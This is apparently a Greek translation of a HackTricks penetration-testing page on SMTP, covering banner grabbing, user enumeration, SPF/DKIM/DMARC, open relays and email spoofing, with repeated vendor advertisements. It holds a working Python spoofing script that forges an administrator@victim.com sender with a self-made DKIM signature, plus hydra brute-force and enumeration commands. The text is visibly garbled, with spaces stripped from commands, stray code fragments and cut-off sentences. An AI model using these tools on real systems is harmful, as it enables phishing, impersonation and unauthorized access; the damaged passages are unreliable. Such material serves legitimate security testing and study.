Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs σταHackTricks και HackTricks Cloud αποθετήρια του github.
Άμεση διαθεσιμότητα εγκατάστασης για αξιολόγηση ευπαθειών & ελέγχο διείσδυσης. Εκτελέστε έναν πλήρη έλεγχο διείσδυσης από οπουδήποτε με 20+ εργαλεία & χαρακτηριστικά που καλύπτουν από την αναγνώριση μέχρι την αναφορά. Δεν αντικαθιστούμε τους ελεγκτές διείσδυσης - αναπτύσσουμε προσαρμοσμένα εργαλεία, ανίχνευση & εκμετάλλευση modules για να τους δώσουμε λίγο χρόνο να σκάψουν βαθύτερα, να ανοίξουν κελύφη και να διασκεδάσουν.
Βασικές Πληροφορίες
Το Πρωτόκολλο Αποστολής Απλού Μηνύματος (SMTP) είναι ένα πρωτόκολλο που χρησιμοποιείται στο πλαίσιο του TCP/IP για την αποστολή και λήψη ηλεκτρονικού ταχυδρομείου. Λόγω των περιορισμών του στην ουρά των μηνυμάτων στον παραλήπτη, το SMTP χρησιμοποιείται συχνά μαζί με τα πρωτόκολλα POP3 ή IMAP. Αυτά τα επιπλέον πρωτόκολλα επιτρέπουν στους χρήστες να αποθηκεύουν μηνύματα σε ένα κουτί ταχυδρομείου εξυπηρετητή και να τα κατεβάζουν περιοδικά.
Στην πράξη, είναι συνηθισμένο για τα προγράμματα ηλεκτρονικού ταχυδρομείου να χρησιμοποιούν το SMTP για την αποστολή ηλεκτρονικών μηνυμάτων, ενώ χρησιμοποιούν το POP3 ή IMAP για τη λήψη τους. Σε συστήματα που βασίζονται σε Unix, το sendmail ξεχωρίζει ως ο πιο συχνά χρησιμοποιούμενος SMTP εξυπηρετητής για σκοπούς ηλεκτρονικού ταχυδρομείου. Το εμπορικό πακέτο γνωστό ως Sendmail περιλαμβάνει έναν εξυπηρετητή POP3. Επιπλέον, το Microsoft Exchange παρέχει έναν εξυπηρετητή SMTP και προσφέρει τη δυνατότητα να περιλαμβάνει υποστήριξη POP3.
Προεπιλεγμένη θύρα: 25,465(ssl),587(ssl)
PORT STATE SERVICE REASON VERSION
25/tcp open smtp syn-ack Microsoft ESMTP 6.0.3790.3959
Κεφαλίδες EMAIL
Εάν έχετε την ευκαιρία να κάνετε το θύμα να σας στείλει email (μέσω φόρμας επικοινωνίας της ιστοσελίδας για παράδειγμα), κάντε το γιατί μπορείτε να μάθετε για την εσωτερική τοπολογία του θύματος βλέποντας τις κεφαλίδες του email.
Μπορείτε επίσης να λάβετε ένα email από έναν διακομιστή SMTP προσπαθώντας να στείλει σε αυτόν τον διακομιστή ένα email σε μια μη υπαρκτή διεύθυνση (επειδή ο διακομιστής θα στείλει στον επιτιθέμενο ένα μήνυμα NDN). Ωστόσο, βεβαιωθείτε ότι στέλνετε το email από μια επιτρεπόμενη διεύθυνση (ελέγξτε την πολιτική SPF) και ότι μπορείτε να λαμβάνετε μηνύματα NDN.
Θα πρέπει επίσης να προσπαθήσετε να στείλετε διαφορετικού περιεχομένου επειδή μπορείτε να βρείτε πιο ενδιαφέρουσες πληροφορίες στις κεφαλίδες όπως: X-Virus-Scanned: by av.domain.com
Θα πρέπει να στείλετε το αρχείο δοκιμής EICAR.
Η ανίχνευση του AV μπορεί να σας επιτρέψει να εκμεταλλευτείτε γνωστές ευπαθείες.
Βασικές ενέργειες
Ανάκτηση Banner/Βασική σύνδεση
SMTP:
nc-vn<IP>25
SMTPS:
openssls_client-crlf-connectsmtp.mailgun.org:465#SSL/TLS without starttls commandopenssls_client-starttlssmtp-crlf-connectsmtp.mailgun.org:587
Ή αυτοματοποιήστε αυτό με το πρόσθετο nmapsmtp-ntlm-info.nse
Όνομα εσωτερικού διακομιστή - Διαρροή πληροφοριών
Κάποιοι διακομιστές SMTP συμπληρώνουν αυτόματα τη διεύθυνση αποστολέα όταν εκδίδεται η εντολή "MAIL FROM" χωρίς πλήρη διεύθυνση, αποκαλύπτοντας το εσωτερικό του όνομα:
220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at Wed, 15 Sep 2021 12:13:28 +0200
EHLO all
250-somedomain.com Hello [x.x.x.x]
250-TURN
250-SIZE 52428800
250-ETRN
250-PIPELINING
250-DSN
250-ENHANCEDSTATUSCODES
250-8bitmime
250-BINARYMIME
250-CHUNKING
250-VRFY
250 OK
MAIL FROM: me
250 2.1.0 me@PRODSERV01.somedomain.com....Sender OK
Κατασκοπεία
Ελέγξτε αν κατασκοπεύετε κάποιον κωδικό πρόσβασης από τα πακέτα προς τη θύρα 25
Η εντολή EXPN χρησιμοποιείται για να επιβεβαιώσει την ταυτότητα ενός χρήστη στον SMTP server. Αν ο server είναι ρυθμισμένος να υποστηρίζει την εντολή EXPN, τότε μπορεί να αποκαλύψει πληροφορίες σχετικά με τους χρήστες, όπως τα ονόματα των λογαριασμών email. Αυτό μπορεί να οδηγήσει σε εκθέσεις προσωπικών δεδομένων και πρέπει να αποφεύγεται.
Άμεση διαθεσιμότητα εγκατάστασης για αξιολόγηση ευπαθειών & δοκιμές διείσδυσης. Εκτελέστε μια πλήρη δοκιμή διείσδυσης από οπουδήποτε με 20+ εργαλεία & χαρακτηριστικά που καλύπτουν από την αναγνώριση μέχρι την αναφορά. Δεν αντικαθιστούμε τους δοκιμαστές διείσδυσης - αναπτύσσουμε προσαρμοσμένα εργαλεία, ανίχνευση & εκμετάλλευση modules για να τους δώσουμε πίσω λίγο χρόνο να εξερευνήσουν βαθύτερα, να ανοίξουν κελύφη και να διασκεδάσουν.
Αναφορές DSN
Αναφορές Ειδοποίησης Κατάστασης Παράδοσης: Εάν στείλετε ένα email σε μια οργάνωση σε μια μη έγκυρη διεύθυνση, η οργάνωση θα ειδοποιήσει ότι η διεύθυνση ήταν μη έγκυρη στέλνοντας ένα email πίσω σε εσάς. Τα headers του επιστρεφόμενου email θα περιέχουν πιθανές ευαίσθητες πληροφορίες (όπως η IP διεύθυνση των υπηρεσιών email που αλληλεπιδρούν με τις αναφορές ή πληροφορίες λογισμικού αντιιών).
print("[***]successfully sent email to %s:" % (msg['To']))
</details>
## SMTP Λειτουργία Εκμετάλλευσης
Η ευπάθεια SMTP Εκμετάλλευσης επέτρεπε την παράκαμψη όλων των προστασιών SMTP (ελέγξτε το επόμενο τμήμα για περισσότερες πληροφορίες σχετικά με τις προστασίες). Για περισσότερες πληροφορίες σχετικά με την Εκμετάλλευση SMTP, ελέγξτε:
<div data-gb-custom-block data-tag="content-ref" data-url='smtp-smuggling.md'>
[smtp-smuggling.md](smtp-smuggling.md)
</div>
## Αντιμέτωπα με την Πλαστογράφηση Ηλεκτρονικού Ταχυδρομείου
Οι οργανισμοί αποτρέπονται από το να στέλνουν μη εξουσιοδοτημένα ηλεκτρονικά μηνύματα εξ ονόματος τους χρησιμοποιώντας **SPF**, **DKIM** και **DMARC** λόγω της ευκολίας πλαστογράφησης μηνυμάτων SMTP.
Ο **πλήρης οδηγός για αυτές τις αντιμέτωπες ενέργειες** είναι διαθέσιμος στο [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/).
### SPF
<div data-gb-custom-block data-tag="hint" data-style='danger'>
Το SPF [ήταν "αποσυρμένο" το 2014](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). Αυτό σημαίνει ότι αντί να δημιουργήσετε ένα **εγγραφή TXT** στο `_spf.domain.com`, τη δημιουργείτε στο `domain.com` χρησιμοποιώντας την **ίδια σύνταξη**.\
Επιπλέον, για την επαναχρησιμοποίηση προηγούμενων εγγραφών spf είναι αρκετά συνηθισμένο να βρείτε κάτι σαν `"v=spf1 include:_spf.google.com ~all"`
</div>
**Πλαίσιο Πολιτικής Αποστολέα** (SPF) είναι ένας μηχανισμός που επιτρέπει στους Πράκτορες Μεταφοράς Ηλεκτρονικού Ταχυδρομείου (MTAs) να επαληθεύουν εάν ένας κόμβος που στέλνει ένα email είναι εξουσιοδοτημένος ερωτώντας μια λίστα εξουσιοδοτημένων διακομιστών ταχυδρομείου που έχουν ορίσει οι οργανισμοί. Αυτή η λίστα, η οποία καθορίζει διευθύνσεις IP/εύρη, domains και άλλες οντότητες **εξουσιοδοτημένες να στείλουν email εξ ονόματος ενός ονόματος domain**, περιλαμβάνει διάφορους "**Μηχανισμούς**" στην εγγραφή SPF.
#### Μηχανισμοί
Από την [Wikipedia](https://en.wikipedia.org/wiki/Sender\_Policy\_Framework):
| Μηχανισμός | Περιγραφή |
| --------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| ΟΛΑ | Ταιριάζει πάντα· χρησιμοποιείται για ένα προεπιλεγμένο αποτέλεσμα όπως `-all` για όλες τις IP που δεν ταιριάζουν με προηγούμενους μηχανισμούς. |
| Α | Αν το όνομα domain έχει εγγραφή διεύθυνσης (A ή AAAA) που μπορεί να αναλυθεί στη διεύθυνση του αποστολέα, θα ταιριάξει. |
| IP4 | Αν ο αποστολέας βρίσκεται σε συγκεκριμένο εύρος διευθύνσεων IPv4, ταιριάζει. |
| IP6 | Αν ο αποστολέας βρίσκεται σε συγκεκριμένο εύρος διευθύνσεων IPv6, ταιριάζει. |
| MX | Αν το όνομα domain έχει εγγραφή MX που αναλύεται στη διεύθυνση του αποστολέα, θα ταιριάξει (δηλαδή το email προέρχεται από έναν από τους εισερχόμενους διακομιστές ταχυδρομείου του domain). |
| PTR | Αν το όνομα domain (εγγραφή PTR) για τη διεύθυνση του πελάτη βρίσκεται στο δοθέν domain και το όνομα domain αναλύεται στη διεύθυνση του πελάτη (εμπρός-επιβεβαιωμένη αντίστροφη DNS), ταιριάζει. Αυτός ο μηχανισμός αποτρέπεται και θα πρέπει να αποφεύγεται, αν είναι δυνατόν. |
| ΥΠΑΡΧΕΙ | Αν το δοθέν όνομα domain αναλύεται σε οποιαδήποτε διεύθυνση, ταιριάζει (ανεξάρτητα από τη διεύθυνση στην οποία αναλύεται). Αυτό χρησιμοποιείται σπάνια. Μαζί με τη γλώσσα μακροεντολών SPF προσφέρει πιο πολύπλοκα ταιριάσματα όπως ερωτήσεις DNSBL. |
| ΣΥΜΠΕΡΙΛΑΒΕΤΑΙ | Αναφέρεται στην πολιτική ενός άλλου domain. Αν η πολιτική αυτού του domain περνά, περνάει και αυτός ο μηχανισμός. Ωστόσο, αν η περιλαμβανόμενη πολιτική αποτύχει, η επεξεργασία συνεχίζεται. Για να αναθέσετε πλήρως σε μια άλλη πολιτική domain, πρέπει να χρησιμοποιηθεί η επέκταση ανακατεύθυνσης. |
| ΑΝΑΚΑΤΕΥΘΩΣΗ | <p>Μια ανακατεύθυνση είναι ένας δείκτης προς ένα άλλο όνομα domain που φιλοξενεί μια πολιτική SPF, επιτρέπει σε πολλά domains να μοιράζονται την ίδια πολιτική SPF. Είναι χρήσιμο όταν εργάζεστε με μεγάλο αριθμό domains που μοιράζονται την ίδια υποδομή email.</p><p>Η πολιτική SPF του domain που υποδεικνύεται στον μηχανισμό ανακατεύθυνσης θα χρησιμοποιηθεί.</p> |
Είναι επίσης δυνατό να αναγνωρίσετε **Ποιοτικούς Όρους** που υποδεικνύουν **τι πρέπει να γίνει αν ένας μηχανισμός ταιριάζει**. Από προεπιλογή, χρησιμοποιείται ο **ποιοτικός "+"** (έτσι αν ταιριάζει οποιοσδήποτε μηχανισμός, αυτό σημαίνει ότι επιτρέπεται).\
Συνήθως θα παρατηρήσετε **στο τέλος κάθε πολιτικής SPF** κάτι σαν: **\~all** ή **-all**. Αυτό χρησιμοποιείται για να υποδείξει ότι **αν ο αποστολέας δεν ταιριάζει με καμία πολιτική SPF, πρέπει να επισημάνετε το email ως μη αξιόπιστο (\~) ή να απορρίψετε (-) το email.**
#### Ποιοτικοί Όροι
Κάθε μηχανισμός εντός της πολιτικής μπορεί να προηγηθεί από έναν από τους τέσσερις ποιοτικούς όρους για να ορίσει το επιθυμητό αποτέλεσμα:
* **`+`**: Αντιστοιχεί σε ΑΠΟΤΕΛΕΣΜΑ ΕΠΙΤΥΧΙΑΣ. Από προεπιλογή, οι μηχανισμοί υποθέτουν αυτόν τον ποιοτικό όρο, κάνοντας το `+mx` ισοδύναμο με `mx`.
* **`?`**: Αντιπροσωπεύει ένα ΟΥΔΕΤΕΡΟ αποτέλεσμα, που χειρίζεται παρόμοια με το ΚΑΜΙΑ (καμία συγκεκριμένη πολιτική).
* **`~`**: Δηλώνει ΜΑΛΑΚΗ ΑΠΟΤΥΧΙΑ, λειτουργώντας ως μεσαίο έδαφος μεταξύ ΟΥΔΕΤΕΡΟ και ΑΠΟΤΥΧΙΑ. Τα email που πληρούν αυτό το αποτέλεσμα γίνονται συνήθως αποδεκτά αλλά επισημαίνονται ανάλογα.
* **`-`**: Υποδεικνύει ΑΠΟΤΥΧΙΑ, υποδηλώνοντας ότι το email θα πρέπει να απορριφθεί αμέσως.
Στο επ
```shell-session
dig txt google.com | grep spf
google.com. 235 IN TXT "v=spf1 include:_spf.google.com ~all"
dig txt _spf.google.com | grep spf
; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com
;_spf.google.com. IN TXT
_spf.google.com. 235 IN TXT "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all"
dig txt _netblocks.google.com | grep spf
_netblocks.google.com. 1606 IN TXT "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all"
dig txt _netblocks2.google.com | grep spf
_netblocks2.google.com. 1908 IN TXT "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all"
dig txt _netblocks3.google.com | grep spf
_netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"
Παραδοσιακά ήταν δυνατό να πλαστογραφηθεί οποιοδήποτε όνομα domain που δεν είχε έναν σωστό/κανένα SPF εγγραφή. Σήμερα, αν το email προέρχεται από ένα domain χωρίς έγκυρη εγγραφή SPF πιθανόν να απορριφθεί/επισημανθεί ως μη αξιόπιστο αυτόματα.
Το DKIM χρησιμοποιείται για την υπογραφή εξερχόμενων emails, επιτρέποντας την επικύρωσή τους από εξωτερικούς Mail Transfer Agents (MTAs) μέσω της ανάκτησης του δημόσιου κλειδιού του domain από το DNS. Αυτό το δημόσιο κλειδί βρίσκεται σε ένα εγγραφή TXT του domain. Για να έχετε πρόσβαση σε αυτό το κλειδί, πρέπει να γνωρίζετε τόσο τον επιλογέα όσο και το όνομα του domain.
Για παράδειγμα, για να ζητήσετε το κλειδί, το όνομα του domain και ο επιλογέας είναι απαραίτητοι. Αυτά μπορούν να βρεθούν στην κεφαλίδα του email DKIM-Signature, π.χ., d=gmail.com;s=20120113.
Ένας κώδικας για την ανάκτηση αυτών των πληροφοριών μπορεί να μοιάζει με:
dig20120113._domainkey.gmail.comTXT|grepp=# This command would return something like:20120113._domainkey.gmail.com. 280 IN TXT "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3
Το DMARC βελτιώνει την ασφάλεια του ηλεκτρονικού ταχυδρομείου βασιζόμενο στα πρωτόκολλα SPF και DKIM. Ορίζει πολιτικές που καθοδηγούν τους διακομιστές ταχυδρομείου στην διαχείριση των email από ένα συγκεκριμένο domain, συμπεριλαμβανομένου του τρόπου αντιμετώπισης των αποτυχιών πιστοποίησης και πού να στείλουν αναφορές σχετικά με τις ενέργειες επεξεργασίας email.
Για να λάβετε τον εγγραφή DMARC, πρέπει να ερωτήσετε τον υποτομέα _dmarc
Απόεδώ.
Χρειάζεστε ξεχωριστές εγγραφές SPF για κάθε υποτομέα από τον οποίο επιθυμείτε να στείλετε email.
Το παρακάτω αναρτήθηκε αρχικά στο openspf.org, το οποίο ήταν κάποτε μια εξαιρετική πηγή γι' αυτόν τον τύπο θεμάτων.
Η Ερώτηση του Δαίμονα: Τι γίνεται με τα υποτομέα;
Αν λάβω email από pielovers.demon.co.uk και δεν υπάρχουν δεδομένα SPF για το pielovers, πρέπει να ελέγξω το SPF για το demon.co.uk; Όχι. Κάθε υποτομέας στο Demon είναι ένας διαφορετικός πελάτης και κάθε πελάτης μπορεί να έχει τη δική του πολιτική. Δεν θα είχε νόημα η πολιτική του Demon να ισχύει για όλους τους πελάτες του αυτόματα. Αν ο Demon θέλει να το κάνει αυτό, μπορεί να δημιουργήσει εγγραφές SPF για κάθε υποτομέα.
Έτσι, η συμβουλή προς τους εκδότες SPF είναι η εξής: πρέπει να προσθέσετε μια εγγραφή SPF για κάθε υποτομέα ή όνομα κεντρικού υπολογιστή που έχει μια εγγραφή A ή MX.
Οι ιστότοποι με εγγραφές A ή MX με αναγνωριστικό αντικατάστασης πρέπει επίσης να έχουν μια εγγραφή SPF με αναγνωριστικό αντικατάστασης, της μορφής: * IN TXT "v=spf1 -all"
Αυτό έχει νόημα - ένα υποτομέα μπορεί εύκολα να βρίσκεται σε διαφορετική γεωγραφική τοποθεσία και να έχει μια πολύ διαφορετική ορισμένη SPF.
Ανοιχτός Ρελέ
Κατά την αποστολή email, είναι κρίσιμο να διασφαλιστεί ότι δεν θα επισημανθούν ως ανεπιθύμητα. Συχνά, αυτό επιτυγχάνεται μέσω της χρήσης ενός ρελέ διακομιστή που εμπιστεύεται ο παραλήπτης. Ωστόσο, μια συνηθισμένη πρόκληση είναι ότι οι διαχειριστές ενδέχεται να μην είναι πλήρως ενήμεροι για τα εύρη IP που είναι ασφαλή να επιτραπούν. Αυτή η έλλειψη κατανόησης μπορεί να οδηγήσει σε λάθη στη ρύθμιση του διακομιστή SMTP, ένας κίνδυνος που εντοπίζεται συχνά σε αξιολογήσεις ασφαλείας.
Ένα παράκαμψη που χρησιμοποιούν μερικοί διαχειριστές για να αποφύγουν προβλήματα παράδοσης email, ειδικά όσον αφορά τις επικοινωνίες με πιθανούς ή υφιστάμενους πελάτες, είναι να επιτρέπουν συνδέσεις από οποιαδήποτε διεύθυνση IP. Αυτό επιτυγχάνεται με τη ρύθμιση της παραμέτρου mynetworks του διακομιστή SMTP για να δέχεται όλες τις διευθύνσεις IP, όπως φαίνεται παρακάτω:
mynetworks=0.0.0.0/0
Για να ελέγξετε εάν ένας διακομιστής ηλεκτρονικού ταχυδρομείου είναι ανοιχτός ανακατευτής (που σημαίνει ότι θα μπορούσε να προωθήσει email από οποιαδήποτε εξωτερική πηγή), χρησιμοποιείται συχνά το εργαλείο nmap. Περιλαμβάνει ένα συγκεκριμένο script σχεδιασμένο για να ελέγξει αυτό. Η εντολή για να πραγματοποιήσετε μια λεπτομερή σάρωση σε έναν διακομιστή (για παράδειγμα, με IP 10.10.10.10) στη θύρα 25 χρησιμοποιώντας το nmap είναι:
# This will send a test email from test@victim.com to destination@gmail.compython3magicspoofmail.py-dvictim.com-t-edestination@gmail.com# But you can also modify more options of the emailpython3magicspoofmail.py-dvictim.com-t-edestination@gmail.com--subjectTEST--senderadministrator@victim.com
Αν λάβετε οποιοδήποτε σφάλμα χρησιμοποιώντας τη βιβλιοθήκη dkim της Python για τον έλεγχο του κλειδιού, μπορείτε να χρησιμοποιήσετε το παρακάτω.
ΣΗΜΕΙΩΣΗ: Αυτή είναι μια πρόχειρη επιδιόρθωση για γρήγορους ελέγχους σε περιπτώσεις όπου για κάποιο λόγο το ιδιωτικό κλειδί του openssl δεν μπορεί να αναλυθεί από το dkim.
# Αυτό θα στείλει ένα μη υπογεγραμμένο μήνυμαmail("το_email_σας@gmail.com", "Θέμα Δοκιμής!", "γεια! Αυτό είναι ένα τεστ", "Από: administrator@victim.com");# Code from https://github.com/magichk/magicspoofing/blob/main/magicspoofmail.pyimport osimport dkim #pip3 install dkimpyimport smtplibfrom email.mime.multipart import MIMEMultipartfrom email.mime.text import MIMETextfrom email.mime.base import MIMEBase# Set paramsdestination="destination@gmail.com"sender="administrator@victim.com"subject="Test"message_html="""<html><body><h3>This is a test, not a scam</h3><br /></body></html>"""sender_domain=sender.split("@")[1]# Prepare postfixos.system("sudo sed -ri 's/(myhostname) = (.*)/\\1 = "+sender_domain+"/g' /etc/postfix/main.cf")os.system("systemctl restart postfix")# Generate DKIM keysdkim_private_key_path="dkimprivatekey.pem"os.system(f"openssl genrsa -out {dkim_private_key_path} 1024 2> /dev/null")with open(dkim_private_key_path) as fh:dkim_private_key = fh.read()# Generate emailmsg = MIMEMultipart("alternative")msg.attach(MIMEText(message_html, "html"))msg["To"] = destinationmsg["From"] = sendermsg["Subject"] = subjectheaders = [b"To", b"From", b"Subject"]msg_data = msg.as_bytes()# Sign email with dkim## The receiver won't be able to check it, but the email will appear as signed (and therefore, more trusted)dkim_selector="s1"sig = dkim.sign(message=msg_data,selector=str(dkim_selector).encode(),domain=sender_domain.encode(),privkey=dkim_private_key.encode(),include_headers=headers)msg["DKIM-Signature"] = sig[len("DKIM-Signature: ") :].decode()msg_data = msg.as_bytes()# Use local postfix relay to send emailsmtp="127.0.0.1"s = smtplib.SMTP(smtp)s.sendmail(sender, [destination], msg_data)
Χρήση τιμών που διαφέρουν από αυτές των κεφαλίδων του email
Υπαρξη ενός έγκυρου και αξιόπιστου πιστοποιητικού SSL
Υποβολή της σελίδας σε ιστοσελίδες φιλτραρίσματος περιεχομένου
Εξυφίαση μέσω SMTP
Αν μπορείτε να στείλετε δεδομένα μέσω SMTPδιαβάστε αυτό.
Αρχείο ρυθμίσεων
Postfix
Συνήθως, αν είναι εγκατεστημένο, στο /etc/postfix/master.cf περιέχονται scripts για εκτέλεση όταν για παράδειγμα ένα νέο email λαμβάνεται από έναν χρήστη. Για παράδειγμα, η γραμμή flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient} σημαίνει ότι το /etc/postfix/filtering θα εκτελεστεί αν ένα νέο email ληφθεί από τον χρήστη mark.
Protocol_Name: SMTP #Protocol Abbreviation if there is one.
Port_Number: 25,465,587 #Comma separated if there is more than one.
Protocol_Description: Simple Mail Transfer Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for SMTP
Note: |
SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.
https://book.hacktricks.xyz/pentesting/pentesting-smtp
Entry_2:
Name: Banner Grab
Description: Grab SMTP Banner
Command: nc -vn {IP} 25
Entry_3:
Name: SMTP Vuln Scan
Description: SMTP Vuln Scan With Nmap
Command: nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 {IP}
Entry_4:
Name: SMTP User Enum
Description: Enumerate uses with smtp-user-enum
Command: smtp-user-enum -M VRFY -U {Big_Userlist} -t {IP}
Entry_5:
Name: SMTPS Connect
Description: Attempt to connect to SMTPS two different ways
Command: openssl s_client -crlf -connect {IP}:465 &&&& openssl s_client -starttls smtp -crlf -connect {IP}:587
Entry_6:
Name: Find MX Servers
Description: Find MX servers of an organization
Command: dig +short mx {Domain_Name}
Entry_7:
Name: Hydra Brute Force
Description: Need Nothing
Command: hydra -P {Big_Passwordlist} {IP} smtp -V
Entry_8:
Name: consolesless mfs enumeration
Description: SMTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit'
Άμεση διαθεσιμότητα εγκατάστασης για αξιολόγηση ευπαθειών & δοκιμές διείσδυσης. Εκτελέστε μια πλήρη δοκιμή διείσδυσης από οπουδήποτε με 20+ εργαλεία & χαρακτηριστικά που καλύπτουν από την αναγνώριση μέχρι την αναφορά. Δεν αντικαθιστούμε τους δοκιμαστές διείσδυσης - αναπτύσσουμε προσαρμοσμένα εργαλεία, ανίχνευση & εκμετάλλευση modules για να τους δώσουμε πίσω χρόνο να εξερευνήσουν βαθύτερα, να ανοίξουν κελιά και να διασκεδάσουν.